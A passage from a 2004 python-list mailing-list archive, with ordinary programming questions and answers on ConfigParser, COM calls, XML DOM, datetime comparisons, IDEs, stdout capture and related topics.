   File "/usr/lib/python2.3/ConfigParser.py", line 363, in write
     fp.write("[%s]\n" % section)
IOError: [Errno 9] Bad file descriptor


Is .write() not right?  If not, how do I save the changed config to file?


From FBatista at uniFON.com.ar  Thu Sep  9 10:43:51 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Thu, 9 Sep 2004 11:43:51 -0300 
Subject: Newbe - Error starting Python
Message-ID: <A128D751272CD411BC9200508BC2194D053C791E@escpl.tcp.com.ar>

[Robert A. Rawlinson]
 
#- I am new to Python. When I tried to start it on my Suse 9.1 
#- system I got a KDEesktop message that said: Service 
#- 'searchproviders/python. Desktop is malformatted.
#- What is this and how can I fix it? TIA	

How you started it?

What happens if you open a terminal and type "python"?

.	Facundo
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040909/a89c99b0/attachment.html>

From crankycoder at gmail.com  Fri Sep 24 16:05:55 2004
From: crankycoder at gmail.com (Victor Ng)
Date: 24 Sep 2004 13:05:55 -0700
Subject: Win32-COM pass by ref for long arguments
Message-ID: <a8bfd74c.0409241205.460f9510@posting.google.com>

Hi everyone, 

I'm trying to use Python to talk to some COM components but I can't
figure out how the pass-by-ref works in PythonWin.

The COM signature I'm trying to call is:

Function OpenTable(ByRef hTableRef As Long, ByVal TableNo As Long) As
Boolean

I've successfully made calls to other functions in the COM library
from Python - so I'm fairly certain that things _should_ be working.

My call is using an initial value of pythoncom.Empty for hTableRef,
but I'm getting the following stacktrace from within the PythonCOM
library:
  
File "test.py", line 52, in ?
    tableRef = cf.OpenTable(result, 36)
  File "C:\Python23\Lib\site-packages\win32com\gen_py\9F78D5E0-A1B3-11CF-AF9F-00030F8047D7
x0x1x0.py", line 315, in OpenTable
    return self._oleobj_.InvokeTypes(48, LCID, 1, (11, 0), ((16387,
0), (3, 0)),hTableRef,
 TableNo)
pywintypes.com_error: (-2147352571, 'Type mismatch.', None, 1)

Anyone know what's going on here?


From jeff at ccvcorp.com  Thu Sep  2 16:34:47 2004
From: jeff at ccvcorp.com (Jeff Shannon)
Date: Thu, 02 Sep 2004 13:34:47 -0700
Subject: allowing braces around suites
In-Reply-To: <slrncje0vr.7or.apardon@rcpc42.vub.ac.be>
References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no>
	<cgn73r$scr$1@nntp0.reith.bbc.co.uk>
	<mailman.2515.1093608707.5135.python-list@python.org>
	<1rk6vkeo5d.fsf@rovereto.ifi.uio.no>
	<87hdqok9i6.fsf@sinken.local.csis.hku.hk>
	<1rfz68ely9.fsf@rovereto.ifi.uio.no>
	<876574k7du.fsf@sinken.local.csis.hku.hk>
	<1r3c28ejis.fsf@rovereto.ifi.uio.no>
	<zILXc.54863$xi6.26091@fe2.texas.rr.com>
	<1rllg0cb3m.fsf@rovereto.ifi.uio.no>
	<874qmovxna.fsf@sinken.local.csis.hku.hk>
	<slrncj8kv2.kp.apardon@trout.vub.ac.be>
	<slrncj8mvt.djm.sholden@flexal.cs.usyd.edu.au>
	<slrncj94hr.kp.apardon@trout.vub.ac.be>
	<du7oekrnwc8.fsf@amadeus.cc.tut.fi>
	<slrncjaq3l.kp.apardon@trout.vub.ac.be>
	<pan.2004.09.01.12.03.39.285610@jerf.org>
	<slrncje0vr.7or.apardon@rcpc42.vub.ac.be>
Message-ID: <10jf0sk4js0ec7c@corp.supernews.com>

Antoon Pardon wrote:

>Suppose you have the following situation:
>
>|  def function
>|
>|    def localfunction
>|
>|      localfunction
>|      code
>|
>|    function
>|    code
>
>My experience is that in such a situation, especially
>if the local functions grows of you have more 
>local functions it can become hard to see where the body
>of the global function begins. 
>

My experience is that defining local functions inside of parent 
functions is not a good way to deal with this situation.  I would, 
instead, write this as two separate module-level functions, one of which 
calls the other, and possibly indicating one of them as non-public via 
naming convention:

def mainfunction():
    x = y + z
    result = []
    for n in range(x):
        result.append( _subfunction(n) )
    result.sort()
    return mylibrary.modify(result)

def _subfunction(n):
    if n > 5:
        while n:
            x, n = dostuff(n)
    else:
        x = math.sqrt(x)
    return x

Regardless of whether _subfunction() will ever be used anywhere else, I 
wouldn't define it inside of mainfunction().  (The only use I see for 
inner functions is to construct a function whose structure depends on 
outer-function data in a way that can't be reasonably expressed with a 
parameter -- and I see few cases of that.  Otherwise, the only gain from 
defining an inner function is name-hiding, and I find the complexity 
cost of inner functions to be much higher than the insignificant benefit 
gained by name-hiding.) 

There are few cases I have seen where the actions taken by an indented 
(possibly compound) code block cannot be given a reasonable name.  Once 
you can say "This segment of code does this action", you can encapsulate 
that segment into its own function named action().  You've now halved 
your indentation level, and also increased the abstraction level, making 
it easier for another person to read your code.

Presumably, you're going to assert that there are vague, undefined cases 
where there's no meaningful way to describe a subset of your nested 
code.  Personally, I wonder what the heck you're coding, because *I've* 
never seen (or heard of before now) use-cases in which it was so 
difficult to divide things into meaningful blocks. 

Jeff Shannon
Technician/Programmer
Credit International



From deryck at samba.org  Tue Sep 14 11:07:18 2004
From: deryck at samba.org (Deryck Hodge)
Date: Tue, 14 Sep 2004 10:07:18 -0500
Subject: apache error
In-Reply-To: <3A81C87DC164034AA4E2DDFE11D258E3022ED1@exchange.hqamor.amorhq.net>
References: <3A81C87DC164034AA4E2DDFE11D258E3022ED1@exchange.hqamor.amorhq.net>
Message-ID: <41470926.608@samba.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Robert Brewer wrote:
|
| Try changing href="" to href="http://www.google.com" and I think you'll
| see you aren't canceling the hyperlink. Even though your onclick event
| may be fired, the hyperlink is still being invoked. Since you left href
| blank, it assumes you want the default page of the root directory, in
| your case, /cgi-bin/, and takes you there. Or tries to. Try this
| instead:
|
| <th class='head'><a href="javascript:void(sortTable(0))">Rank</a></th>
|

Hi, all.  I've just started on this list, as I'm learning a little
Python.  I do, however, do a good bit of Javascript work and thought I
would point out something here that's not so obvious if you don't do a
lot of Javascript.

If you set links to call a Javascript function as in the example above,
if Javascript is not enabled, the link will go nowhere.  This may not
bother you the designer, but a user may not know they have javascript
disabled or may be unfamiliar with website conventions.

An easy fix for this, is to specify an actual page (perhaps a page that
says "Sorry, you do not have javascript enabled") and add a return false
attribute.  For example:

<th class='head'><a href="js_disabled.html" onclick="sortTable(0);
return false">Rank</a></th>.

If Javascript is enabled, the link will not call the href, but if it is,
then the user gets a message telling them what went wrong.  Sorry to
derail the Python list for this.

- --deryck

- ----------------------------------------------------------------------
Deryck Hodge                               http://www.devurandom.org/
Cataloging Department                      http://www.lib.auburn.edu/
Web Editor, Samba Team                          http://www.samba.org/
GnuPG Key                    http://www.devurandom.org/gpg_pubkey.asc

I am flawed but I am cleaning up so well.
- --Dashboard Confessional, from "Vindicated"(2004)
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFBRwkm4glRK0DaE8gRAjH3AKC/Cr9XWppknuCk66o8jGTsq7JxcACfbeDA
Q3jDXFEdgqRkF7OQDBQ1xkY=
=xeKZ
-----END PGP SIGNATURE-----


From mlerner at NOumichSPAM.edu  Thu Sep  9 03:54:55 2004
From: mlerner at NOumichSPAM.edu (Michael George Lerner)
Date: Thu, 09 Sep 2004 07:54:55 GMT
Subject: Why is this legal?
References: <mailman.3071.1094705282.5135.python-list@python.org>
Message-ID: <j%T%c.47$pW.969@news.itd.umich.edu>

"Delaney, Timothy C (Timothy)" <tdelaney at avaya.com> wrote:
> Michael George Lerner write:

>>     cluster = [(c.resi,c) for c in cluster] # decorate
>>     cluster.sort()                          # sort
>>     cluster = [c for (c.resi,c) in cluster] # undecorate
>> 
>> That last line actually assigns c.resi for each c in cluster.

> Normally the best way to write the above is:

>      cluster = [(c.resi,c) for c in cluster] # decorate
>      cluster.sort()                          # sort
>      cluster = [c[-1] for c in cluster]      # undecorate

> It's shorter, clearer, works no matter how many elements are in the
> decoration, and doesn't have the danger of your version.

Good points.  Thanks.

I'll re-train myself to write it that way.

Heck, maybe I'll even download Python 2.4 so I can say
cluster.sort(key=lambda c: c.resi)

-michael


> Tim Delaney


From heikowu at ceosg.de  Mon Sep 20 08:50:57 2004
From: heikowu at ceosg.de (Heiko Wundram)
Date: Mon, 20 Sep 2004 14:50:57 +0200
Subject: uncompressed size of .gz file
In-Reply-To: <200409201436.24139.heikowu@ceosg.de>
References: <000001c49ed3$35125b20$0a0c10ac@che2003>
	<BEz3d.27319$ni.10745@okepread01>
	<200409201436.24139.heikowu@ceosg.de>
Message-ID: <200409201450.57342.heikowu@ceosg.de>

Am Montag, 20. September 2004 14:36 schrieb Heiko Wundram:
> least-significant byte first to me sounds like big-endian, doesn't it? And
> thus should warrant a > qualifier, or not? Or am I plain wrong on this?

Forget that comment... I mixed up big-endian and little-endian...

Heiko.


From exarkun at divmod.com  Mon Sep 20 17:35:10 2004
From: exarkun at divmod.com (exarkun at divmod.com)
Date: Mon, 20 Sep 2004 21:35:10 GMT
Subject: How does this function work?
In-Reply-To: <3A81C87DC164034AA4E2DDFE11D258E3022EF3@exchange.hqamor.amorhq.net>
Message-ID: <20040920213510.29723.1696579821.divmod.quotient.4237@ohm>

On Mon, 20 Sep 2004 13:05:27 -0700, "Robert Brewer" <fumanchu at amor.org> wrote:
>Jp wrote:
> >   >>> def f(y):
> >   ...     return [x for x in range(3), 1, y for y in range(4), 4]
> >   ...
> >   >>> f(3)
> >   [[0, 1, 2], [0, 1, 2], 1, 1, 3, 3]
> >   >>>
> >
> >   I've been staring at it for 15 minutes and I'm no closer to=20
> > understanding than when I started.
> >
> >   Why is this even legal Python syntax?  What is going on=20
> > that makes it return what it does?
> 
> A couple of parentheses might get you started. Your function is exactly
> the same if you write:
> 
> >>> def g(y):
> ...     return [x for x in (range(3), 1, y) for y in (range(4), 4)]
> 

  That helps, indeed.  Thanks :)

  Jp


From anhtt at hotmail.com  Thu Sep  9 10:09:10 2004
From: anhtt at hotmail.com (Tran Tuan Anh)
Date: 9 Sep 2004 07:09:10 -0700
Subject: Using Python to generate code?
References: <ed89f8f2.0409072251.2152c22b@posting.google.com>
	<slrncju9df.8jt.hat@se-126.se.wtb.tue.nl>
	<1gjt2sn.1mxhb1n12y29cuN%aleaxit@yahoo.com>
	<mailman.3041.1094661030.5135.python-list@python.org>
	<1gjt4u3.qme0dh1ucx3ybN%aleaxit@yahoo.com>
	<mailman.3048.1094665075.5135.python-list@python.org>
	<10jvm82sae48rfd@corp.supernews.com>
Message-ID: <ed89f8f2.0409090609.682ff121@posting.google.com>

- I'm familar with Java, C, C++, and Pascal, some experiences with
SML. Could you elaborate about some Python's string-manipulation
features?

- So now imagine if I have to convince my supervisor, an
theoretic-non-progammer, about switching to Python for this code
generator program, what kind of advantages I can get from doing so?

Thanks!
Tuan Anh


From davecook at nowhere.net  Tue Sep 14 08:54:37 2004
From: davecook at nowhere.net (Dave Cook)
Date: Tue, 14 Sep 2004 12:54:37 GMT
Subject: Ranting about the state of Python IDEs for Windows
References: <mailman.3261.1095106220.5135.python-list@python.org>
Message-ID: <slrnckdqgd.2r1.davecook@localhost.localdomain>

In article <mailman.3261.1095106220.5135.python-list at python.org>, Carlos
Ribeiro wrote:

> The funny thing is that I don't need anything particularly fancy. A
> good Python editor, syntax coloring, a few helpers (moving blocks &
> stuff). Debugging is good, but it's not what I really miss. Even form
> designers -- I could live without them. What I really miss are stuff
> that I regard as basic: a tabbed editor window for multiple files, and
> a good project manager interface -- a place where I can find all the
> files belonging to my projects without having to move around the
> directory tree whenever I have to do anything. Could I do it using
> only command-line tools? Probably, but it's not comfortable,
> convenient or productive. A good IDE would bring me these three things
> that I'm longing for.

XEmacs has tabbed editing (maybe GNU Emacs does now, too?  ctrl-click does
bring up a buffer menu.) The standard emacs package recent_files is useful
for keeping track of projects.  And these days the emacsen are lightweight
compared to many other environments.  It's a great environment for python
development.

http://www.xemacs.org/Download/win32/

Dave Cook


From bretth at aiinet.com  Tue Sep 14 10:20:01 2004
From: bretth at aiinet.com (Humphreys, Brett)
Date: Tue, 14 Sep 2004 10:20:01 -0400
Subject: XML Dom question
Message-ID: <C0170D0AF1277849A4B4518034F855DD40B5F1@aiexchange.ai.aiinet.com>

John, you actually would add a text node to your 'myNode' object.  For
example:

    	w = walker.currentNode
	if "menu__File__Exit" == name and 0 == needs_value and 0 ==
test:
		myNode = doc.createElement("shortcut_key")
		myNode.setAttribute("modifier","SHIFT")
		myTextNode = doc.createTextNOde("F4")
		myNode.appendChild(myTextNode)
		w.appendChild( myNode )  
		test = 1

It should create output such as:

 <object name='menu__File__Exit' class='wxMenuItem'>
      <label>E_xit</label>
      <event class='EVT_MENU'>On__File__Exit</event>
	<shortcut_key modifier='SHIFT'>F4</shortcut_key>
 </object>

-Brett

-----Original Message-----
From: python-list-bounces+bretth=aiinet.com at python.org
[mailto:python-list-bounces+bretth=aiinet.com at python.org] On Behalf Of
John Taylor
Sent: Tuesday, September 14, 2004 10:06 AM
To: python-list at python.org
Subject: XML Dom question


I am trying to insert a new element and value into a XML Dom structure
and am having some trouble.

When I read the file in from disk, I have this:

    <object name='menu__File__Exit' class='wxMenuItem'>
      <label>E_xit</label>
      <event class='EVT_MENU'>On__File__Exit</event>
    </object>

When I run this code:

        w = walker.currentNode
	if "menu__File__Exit" == name and 0 == needs_value and 0 ==
test:
		myNode = doc.createElement("shortcut_key")
		myNode.setAttribute("modifier","SHIFT")
		w.appendChild( myNode )  
		test = 1

I get this result:

    <object name='menu__File__Exit' class='wxMenuItem'>
      <label>E_xit</label>
      <event class='EVT_MENU'>On__File__Exit</event>
      <shortcut_key modifier='SHIFT'/>
    </object>

This is what I really want:
      <shortcut_key modifier='SHIFT'/>F4</shortcut_key>

Can some one post code on how to do this?  I tried creating a new Node
(called newNode) and setting the nodeType and NodeValue and the use the
appendChild() method, but I keep getting this error:

code:
myNode.appendChild(newNode)

error:
AttributeError: Node instance has no attribute 'childNodes'

Any help would be greatly appreciated!

Thanks,
-John
-- 
http://mail.python.org/mailman/listinfo/python-list


From erik at heneryd.com  Tue Sep 14 05:49:46 2004
From: erik at heneryd.com (Erik Heneryd)
Date: Tue, 14 Sep 2004 11:49:46 +0200
Subject: PIL - setting the width of lines in ImageDraw
In-Reply-To: <414682eb$0$301$edfadb0f@dread12.news.tele.dk>
References: <4145fc21$0$273$edfadb0f@dread12.news.tele.dk><eJCdnTShe4h9YNjcRVn-ug@comcast.com>	<mailman.3265.1095107443.5135.python-list@python.org>	<oYadnekC_MYBi9vcRVn-pw@comcast.com>	<mailman.3281.1095119626.5135.python-list@python.org>
	<414682eb$0$301$edfadb0f@dread12.news.tele.dk>
Message-ID: <4146BEBA.7030008@heneryd.com>

Max M wrote:
> Erik Heneryd wrote:
> 
>> Larry Bates wrote:
>>
>>> There's nothing wrong with "slanted" rectangles.
>>> In PIL you just define upper left and lower right
>>> coordinates of the rectangle in pixels.  That's
>>> what a thick line would do anyway.
>>
>>
>> Really?  Didn't know that.  Please show me how.
> 
> 
> 
> The problem is that you have to calculate the rectangles corner 
> positions yourself. Which make it a bit less trivial than drawing lines.
> 
> If you want a fat line from ((0,0),(10,10)) you would need to calculate 
> where the corners should be yourself.

Reason I was (sarcastically) asking about how was because Larry implied 
it could be done easily using "drawrectangle", as opposed to calculating 
the corners yourself and using polygon.

And ofcourse - just drawing thick lines isn't enough to do thick lined 
polygons, you also have to deal with joining them.


Erik


From tmohr at s.netic.de  Mon Sep  6 14:49:02 2004
From: tmohr at s.netic.de (Torsten Mohr)
Date: Mon, 06 Sep 2004 20:49:02 +0200
Subject: Sequence Protocol, assign item
References: <ch81gl$avb$1@schleim.qwe.de>
	<m3u0ufe7h1.fsf@pc150.maths.bris.ac.uk>
	<cha6sp$bgb$1@schleim.qwe.de>
	<413AEBB1.1050007@cosc.canterbury.ac.nz>
Message-ID: <chibeu$aeo$1@schleim.qwe.de>

Hi,

thanks for your answer!

> You don't want to use PyArg_ParseTuple here, because 'val'
> isn't wrapped in a tuple, it's the bare value of the RHS.
> Instead you want
> 
> v?=?PyInt_AsLong(val);
> if?(PyErr_Occurred())
> return?-1;

That exactly solves the problem.

> Also note the -1 return value (not 0) to signal an error.

I also found this by looking into the sources of Objects/listobject.c,
thanks for that other hint.

>> In part A some INCREF/DECREF stuff is done, but i think i don't need
>> this as the PyObjects are only temporarily.
> 
> That's correct in this case.
> 
>> Exception exceptions.SystemError: 'new style getargs format but argument
>> \ is not a tuple' in 'garbage collection' ignored
> 
> That's because you were passing PyArg_ParseTuple something
> that wasn't a tuple. (The error message talks about argument
> formats because PyArg_ParseTuple is intended for processing
> argument lists, and in normal use it can't ever get passed
> anything other than a tuple.)

Thanks for your hint, that helped me fix the problem.  But where
can i learn more about the internals?  Maybe i just assumed this
as a Py_Object* always needed to be transformed the way i did
before.
I did not find any help regarding this in the documentation and also
in the sources it was not obvious to me.


Best regards,
Torsten.



From adurdin at gmail.com  Thu Sep 16 20:43:52 2004
From: adurdin at gmail.com (Andrew Durdin)
Date: Fri, 17 Sep 2004 10:43:52 +1000
Subject: comparing datetime with date
In-Reply-To: <1gk5wh3.6geuhxd1ktN%aleaxit@yahoo.com>
References: <ci6m1f$goq$1@sea.gmane.org>
	<1f7befae04091414167f3b37d4@mail.gmail.com>
	<mailman.3340.1095211130.5135.python-list@python.org>
	<AQW1d.5765$Xc.4809@lakeread01>
	<1gk5wh3.6geuhxd1ktN%aleaxit@yahoo.com>
Message-ID: <59e9fd3a0409161743408f0405@mail.gmail.com>

> Steve Holden <sholden at holdenweb.com> wrote:
> 
> > Well you do, of course, allow that this appeals to *your* intuition, but
> > it seems much more reasonable to me to assume that a date, when compared
> > to a datetime, should specify a single canonical time (such as midnight
> > at the start of that date).

My POV mostly comes from having to deal with comparing a date to an
inclusive range of dates (i.e. time is unimportant) where the dates
are stored (implicitly) as datetimes with a midnight time: 3/9/04 <= x
<= 17/9/04  (using dd/mm/yy)
In this case, the equality will fail if x happens to be 17/9/04
00:00:01 or later, and the solution of having to increment the day of
the right endpoint of the range is both inconvenient and non-obvious
(when reading the code). Of course, python's separate datetime, date,
and time types allow for a better solution to this problem: use the
date type only.

On Wed, 15 Sep 2004 16:13:28 +0200, Alex Martelli <aleaxit at yahoo.com> wrote:
> This means == does not define an equivalence relationship, and THAT is
> enough to send me into shivers and cold sweating.  Either having a
> comparison between date and datetime raise an exception, or consider a
> date to be == to ONE specific datetime, will be OK from this POV.  As
> for which choice is better, if I was the one tasked to design this, I'd
> go for "In the face of ambiguity, refuse the temptation to guess", and
> raise an exception.  But I don't feel particularly strongly about this.

It looks like there are some discrepancies between comparison handling
between the datetime types, though:
>>> import datetime
>>> d = datetime.date(2004,9,17)
>>> t = datetime.time(10,28,47)
>>> dt = datetime.datetime(2004,9,17,10,28,47)
>>> dt == d
True
>>> dt == t
False
>>> d == t
False
>>> dt < d
False
>>> dt < t
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: can't compare datetime.datetime to datetime.time
>>> d < t
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: can't compare datetime.date to datetime.time

You can compare a datetime and a time for equality, but not for
inequality. A datetime and date can be compared for both. It is
probably better to raise an exception for any comparison between time
and datetime, time and date, or date and datetime. If the former or
latter are desired, then the date() and time() methods of the datetime
object can be used to explicitly get a comparable object.


From reply.in.the.newsgroup at my.address.is.invalid  Thu Sep  9 03:37:34 2004
From: reply.in.the.newsgroup at my.address.is.invalid (Rene Pijlman)
Date: Thu, 09 Sep 2004 09:37:34 +0200
Subject: Connecting to a postgresql DB?
References: <pan.2004.09.08.21.54.22.327805@augustmail.com>
Message-ID: <oo10k0hs173eem5nl292k5tq776vsovn2g@4ax.com>

Lance Hoffmeyer:
>I am trying to learn some basics of python.  One of the things
>I want to do is write a script to access a postgresql database
[...]
>Can someone show me an example of how to do this?

Google!

http://www.python.org/peps/pep-0249.html
http://pypgsql.sourceforge.net/README.html
http://www.google.nl/search?q=cache:kDSCqAr41csJ:www.matrixlist.com/pipermail/leaplist/2003-May/031395.html+db-api+pypgsql+connect+example&hl=nl

-- 
Ren? Pijlman


From python at perfectia.com  Tue Sep 14 23:29:22 2004
From: python at perfectia.com (PyProg)
Date: Tue, 14 Sep 2004 22:29:22 -0500
Subject: i am going to get crazy!!!
In-Reply-To: <4a9d4c93.0409141615.1d1ab0cb@posting.google.com>
References: <4a9d4c93.0409141615.1d1ab0cb@posting.google.com>
Message-ID: <4147B712.7010402@perfectia.com>

Have you taken a look at wxPython? --> http://www.wxpython.org/download.php

I don't know a lot about it, because I'm a 'vim' type of guy, but it 
seems to me that
their 'PyShell' utility might be to your liking.

Regards ... PyProg

andresm wrote:

>I cant believe there is no single decent open source for python, all
>them miss some of the most core features an ide should have, i just
>cant believe this!!! I have been looking for a decent ide for one
>weak, i have tried all of them, all. the only kick ass one is ipython,
>but thats a shell that shows how an ide should be.
>
> I come from a java background using eclipse, netbeans,intellij,etc
>and i realy liked to learn python =( , java sucks for tons of reasons,
>but i dont now what to do the most important feature of an ide is
>syntax coloring and "full code completion suport".
>
> For example if i am learning how to use the sys module in my code and
>while i am writing like :
>
>      sys . 
>
>   A list should appear showing me all the attributes of the module or
>class : variables,locals,globals,builtins,etc  and when i focus on one
>item for example " setprofile " method the documentation of the method
>should appear in another popup , that way i can learn  the libraries
>fast and in an interactive way. Is all i want in an ide ALL IDES have
>this. Why python ones dont ?  in spe you get everything that is in the
>namespace,not just the object before the dot triger,same in eric3, in
>komodo you get just the functions, no docs.
>
> Whats wrong with my common sense?  all ides for php,java,c have this
>feature , is all i want to be able to program fast =( .
>
> But i have to alt-tab to konsole to the ipython shell, type help(sys)
>, find the doc and info i need and go back to the editor again, is
>like 20 seconds comparing to 1 with code completion suport.
>
> How do you guys program without a feature like this? that is the only
>reason i need an ide,  how do you remember all the methods names,
>parameters , attributes , classes, behavior while coding with an ide
>not suporting this tools? i wont memorize all of them =( is
>contraproducent if a tool can help, not to mention when learing new
>libraries, memorize again? or take 10 seconds every time you dont
>remember something to take the time to look into it?  What should i
>do? T_T
>  
>


From ruchika_khera at hotmail.com  Fri Sep 10 12:38:05 2004
From: ruchika_khera at hotmail.com (ruchika khera)
Date: Fri, 10 Sep 2004 16:38:05 +0000
Subject: Can we use /MAKE inside the popen3 command? 
Message-ID: <BAY1-F17ZWZaendgjvM00056712@hotmail.com>

An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040910/f056cd10/attachment.html>

From aleaxit at yahoo.com  Thu Sep 23 17:28:50 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 23 Sep 2004 23:28:50 +0200
Subject: How to count lines in a text file ?
References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net>
	<414eda06$0$26379$ba624c82@nntp02.dk.telia.net>
	<1gkf46r.1xrytm21mny6pfN%aleaxit@yahoo.com>
	<cisei2$ltn$0$216.39.172.122@theriver.com>
	<9Gk4d.400$zG1.260@newsread3.news.pas.earthlink.net>
	<1gkjf3r.y37symc5ueasN%aleaxit@yahoo.com>
	<Agn4d.7348$gG4.4198@newsread1.news.pas.earthlink.net>
	<1gkk60l.18a3mpc8xck0N%aleaxit@yahoo.com>
	<fuD4d.7851$gG4.4891@newsread1.news.pas.earthlink.net>
Message-ID: <1gklabo.qs6qc8ulo1xfN%aleaxit@yahoo.com>

Andrew Dalke <adalke at mindspring.com> wrote:

> > I suspect somebody who asks the subject question wants to reproduce wc's
> > counting behavior.
> 
> Really?  I was actually surprised at what wc does.  I didn't
> realize it only did a "\n" character count.  The other programs

Ah well -- maybe it's just me, 25+ years of either using Unix or pining
for it (when I had to use VMS, VM/SP, Windows, etc, etc) must have left
their mark.


Alex


From aleaxit at yahoo.com  Tue Sep 14 04:08:25 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Tue, 14 Sep 2004 10:08:25 +0200
Subject: My first attempt at subclassing....Gahh!
References: <95c29a5e.0409131910.5c916122@posting.google.com>
Message-ID: <1gk3kvp.or5xpwtnn7peN%aleaxit@yahoo.com>

Robin Siebler <robin.siebler at palmsource.com> wrote:

> I want to use filecmp.dircmp, but it only prints to the screen, there
> is no way to capture the output.  So I thought that I should simply be

Il prints to sys.stdout, which may be the screen or elsewhere, therefore
there IS of course a way to capture the output:

import sys, filecmp, cStringIO

save_stdout = sys.stdout
capture = cStringIO.StringIO()
sys.stdout = capture
filecmp.dircmp('/tmp', '/tmp').report()
sys.stdout = save_stdout

capture.seek(0)
for i, line in enumerate(capture):
    print i, repr(line)
capture.close()

But why would you want that?  The output format is purposefully lousy.
You have all the information as attributes of the object that
filecmp.dircmp returns -- why not format said info, or subsets thereof,
however best you please...?  Say:

x = filecmp.dircmp('/tmp', '/tmp')
print 'Out of %d files on one side, and %d on the other,' % (
        len(x.left_list), len(x.right_list))
print '%d are in common (%d files, %d directories, %d funny ones)' % (
        len(x.common), len(x.common_files), len(x.common_dirs),
        len(x.common_funny))

or whatever it is that you do wish.


Alex


From john at grulic.org.ar  Tue Sep  7 09:08:45 2004
From: john at grulic.org.ar (John Lenton)
Date: Tue, 7 Sep 2004 10:08:45 -0300
Subject: Secure delete with python
In-Reply-To: <chjs58$fnf$06$1@news.t-online.com>
References: <pan.2004.09.06.13.01.15.399532@REMOVE_mindless_ME.com>
	<chhoae$5pp$1@online.de> <chhoij$62d$1@online.de>
	<du74qmb9mzs.fsf@amadeus.cc.tut.fi>
	<7xd60zf339.fsf@ruckus.brouhaha.com>
	<a8dfce8c.0409062245.70f5dcf@posting.google.com>
	<7xeklea6nb.fsf@ruckus.brouhaha.com>
	<chjs58$fnf$06$1@news.t-online.com>
Message-ID: <20040907130845.GA21637@grulic.org.ar>

On Tue, Sep 07, 2004 at 10:40:07AM +0200, Peter Otten wrote:
> 
> > has ever been in.  The solution is to write only encrypted data to the
> > drive, and don't store the key on the drive.
> 
> As a special case, avoid that the OS writes the key to disk while swapping.

or encrypt the swapfile. In fact, encrypt the disk, then partition it;
this is easily done with the device mapper in linux 2.6...

-- 
John Lenton (john at grulic.org.ar) -- Random fortune:
Todo lo que nace es digno de morir. 		-- Goethe --
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 196 bytes
Desc: Digital signature
URL: <http://mail.python.org/pipermail/python-list/attachments/20040907/71947baf/attachment.sig>

From news at NOwillmcguganSPAM.com  Thu Sep  2 12:29:24 2004
From: news at NOwillmcguganSPAM.com (Will McGugan)
Date: Thu, 02 Sep 2004 17:29:24 +0100
Subject: Tuple question
Message-ID: <41374a65$0$22750$db0fefd9@news.zen.co.uk>

Hi,

Why is that a tuple doesnt have the methods 'count' and 'index'? It 
seems they could be present on a immutable object.

I realise its easy enough to convert the tuple to a list and do this, 
I'm just curious why it is neccesary..


Thanks,

Will McGugan


From jnh at llnl.gov  Fri Sep 10 12:54:26 2004
From: jnh at llnl.gov (Jeff Hagelberg)
Date: 10 Sep 2004 09:54:26 -0700
Subject: Dynamic Linking Problems with Intel Compiler
Message-ID: <5ea262fa.0409100854.efe9fe@posting.google.com>

I'm trying to create a python module which can be used by a python
interpreter embedded inside a fortran program I have.  To do this, I
first created python wrappers for all the functions in my fortran
program using f2py.  I then start an embedded python interpreter in c
code which I link against the fortran program.  I invoke the fortran
program with a filename containing python code.  This file is passed
to the c code which passes it on to the python interpreter which
executes it, causing the python module to be imported and allowing the
python code to control the fortran application.

At least, that is the idea.

The python module I am creating is called mirandaInternal.so.  It
contains the python wrappers, but is not linked against object files
for the main fortan program.  The idea is that those symbols should be
resolved at run-time.

The problem is that for some reason the symbols are not able to be
resolved.  I am using gcc to do the c compiling and ifort (the intel
fortran compiler) to do the fortran compiling and all of the linking. 
I have tried using the "-Bdynamic" flag when linking both the
executable and the shared library for the module, but that has not
seemed to help.

Has anyone have any suggestions as to what I need to do to the the
dynamic linking to work properly?

Thanks in advance,

Jeff Hagelberg


From gg20040922.5.sebsauvage at spamgourmet.com  Wed Sep 22 10:32:38 2004
From: gg20040922.5.sebsauvage at spamgourmet.com (sebsauvage)
Date: 22 Sep 2004 07:32:38 -0700
Subject: Efficient configuration storage
Message-ID: <7e8c2ebd.0409220632.469b1fb6@posting.google.com>

Hello.

In one of my programs ( http://sebsauvage.net/python/webgobbler/ ),
I have a global dictionnary containing the whole program configuration.
Sample follows:
CONFIG = { "network.http.useproxy" : True,
           "network.http.proxy.address": "proxy.free.fr",
           "network.http.proxy.port"    : 3128
           [etc.]
          }

I'd like to be able to save/load to/from a file.

I do not want to use pickle because I want configuration to be human readable.

ConfigParser could do the trick, but the biggest trouble is that it does
not retain type (boolean, integer, string...).

Would I have to store everything as text and cast it everywhere
it's used (and try/except each cast of course) ?
'Looks ugly and inefficient to me.

Or have a configuration class which knows the type of each parameter
and casts appropriately from the configuration file ?


Is there a better way of doing this ?

--
S?bastien SAUVAGE
http://sebsauvage.net


From peter at engcorp.com  Fri Sep 10 09:38:55 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 10 Sep 2004 09:38:55 -0400
Subject: Electronic voting feasibility
In-Reply-To: <otKdnctyIcclNtzcRVn-gg@giganews.com>
References: <chr77a$4gj@odak26.prod.google.com>	<-_CdnSvxZtZcPdzcRVn-iw@giganews.com>
	<mailman.3140.1094820652.5135.python-list@python.org>
	<otKdnctyIcclNtzcRVn-gg@giganews.com>
Message-ID: <28KdnThSO7DtM9zcRVn-pQ@powergate.ca>

Istvan Albert wrote:

> Jaime Wyant wrote:
> 
>> I think the negativity is well founded.  http://www.blackboxvoting.org/
> 
> I was referring to the real voting not the real-electronic voting.
> 
> I can't judge whether this site speaks the truths or not but
> their tone and style is very aggressive, steamrolling and
> manipulative. Read a few sites that argue that the world
